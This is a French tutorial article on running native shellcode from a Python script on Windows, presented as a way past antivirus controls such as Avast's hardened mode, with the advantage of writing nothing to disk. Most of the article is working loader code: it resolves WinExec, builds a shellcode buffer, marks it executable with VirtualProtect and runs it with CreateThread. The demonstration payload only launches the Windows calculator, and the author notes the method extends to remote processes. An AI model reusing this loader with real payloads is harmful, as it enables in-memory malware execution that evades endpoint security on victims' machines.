Python - exécution de code natif sous Windows   Version imprimable de cet article Enregistrer au format PDF

Vous êtes dans un dossier avec peu de liberté où les exécutables ne sont pas admis ,solution le script python !
Par exemple avast en mode renforcé , bloque l’exécution de chaque exécutable inconnu ,mais pas l’exécution des scripts python .


par Tomtombinary

Python possède un module ctypes qui nous permet de faire appel au fonction contenues dans les dlls windows , nous allons utiliser ces fonctions de manière a faire exécuter du code natif dans python . L’avantage de cette technique est qu’elle ne nécessite pas d’écrire sur le disque dur .

1.Que peut-on faire avec ctypes ?

Avec le module ctypes dont la doc est disponible ici : https://docs.python.org/2/library/c...
On peut accéder au fonction des dll windows , ici CreateThread qui nous servira pour exécuter du code contenu en RAM .
Et on peut déclarer des variables comme en c, exemple un pointeur vers une chaine de caractère (pShellcode)

  1. windll.kernel32.CreateThread(...)
  2. pShellcode = c_char_p(shellcode)

Télécharger

2.Technique d’injection

  • Créer une variable contenant notre shellcode
  • Créer un pointeur vers notre shellcode
  • Autoriser l’exécution dans cette zone de mémoire ( VirtualProtect)
  • Créer un Thread avec comme routine de démarrage notre shellcode

C’est une technique d’injection parmi tant d’autre , il est possible de faire la même chose sur un processus distant .

3. Le code

Le shellcode exécute la calculette Windows

  1. from ctypes import *
  2. import sys
  3.  
  4. hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
  5. addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
  6. print("Addresse de WinExec : "+str(hex(addressWinExec)))
  7. bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
  8. bytesListe.reverse()
  9. addressWinExecBytes = b''
  10. if sys.version_info<=(3,0):
  11. for byte in bytesListe:
  12. addressWinExecBytes+=chr(byte)
  13. else:
  14. addressWinExecBytes = bytes(bytesListe)
  15. shellcode = b'\xEB\x08\xBE'
  16. shellcode+=addressWinExecBytes
  17. shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'
  18. print("Shellcode ["+str(len(shellcode))+" bytes]:"+str(shellcode))
  19. pShellcode = c_char_p(shellcode)
  20. ThreadID = c_int()
  21. PAGE_EXECUTE_READWRITE = 0x40
  22. OldVirtualProtect = c_int()
  23. CreateThread = windll.kernel32.CreateThread
  24. VirtualProtect = windll.kernel32.VirtualProtect
  25. res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))
  26. print("VirtualProtect resultat :"+str(res))
  27. res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))
  28. print("Thread resultat :"+str(res))
  29. input(">>>")

Télécharger

Quelques explications :
Pour une meilleur portabilité ,l’adresse de winExec est récupérée et insérée dans le shellcode .

  1. hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
  2. addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
  3. print("Addresse de WinExec : "+str(hex(addressWinExec)))

Télécharger

Conversion en bytes selon les différentes version de python :

  1. bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
  2. bytesListe.reverse()
  3. addressWinExecBytes = b''
  4. if sys.version_info<=(3,0):
  5. for byte in bytesListe:
  6. addressWinExecBytes+=chr(byte)
  7. else:
  8. addressWinExecBytes = bytes(bytesListe)

Télécharger

Ajout au shellcode :

  1. shellcode = b'\xEB\x08\xBE'
  2. shellcode+=addressWinExecBytes
  3. shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'

Télécharger

On créer notre pointeur vers notre shellcode :

  1. pShellcode = c_char_p(shellcode)

On change les attributs de sécurité avec VirtualProtect :

  1. BOOL WINAPI VirtualProtect(
  2. _In_ LPVOID lpAddress,
  3. _In_ SIZE_T dwSize,
  4. _In_ DWORD flNewProtect,
  5. _Out_ PDWORD lpflOldProtect
  6. );

Télécharger

Pour plus d’information : http://msdn.microsoft.com/en-us/lib...

  1. PAGE_EXECUTE_READWRITE = 0x40
  2. OldVirtualProtect = c_int()
  3. ...
  4. VirtualProtect = windll.kernel32.VirtualProtect
  5. res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))

Télécharger

Et ensuite on créer notre thread dans python avec CreateThread

  1. HANDLE WINAPI CreateThread(
  2. _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
  3. _In_ SIZE_T dwStackSize,
  4. _In_ LPTHREAD_START_ROUTINE lpStartAddress,
  5. _In_opt_ LPVOID lpParameter,
  6. _In_ DWORD dwCreationFlags,
  7. _Out_opt_ LPDWORD lpThreadId
  8. );

Télécharger

Pour plus d’information : http://msdn.microsoft.com/en-us/lib...

  1. ThreadID = c_int()
  2. CreateThread = windll.kernel32.CreateThread
  3. ...
  4. res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))

Télécharger

Et voilà le tour est joué !

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique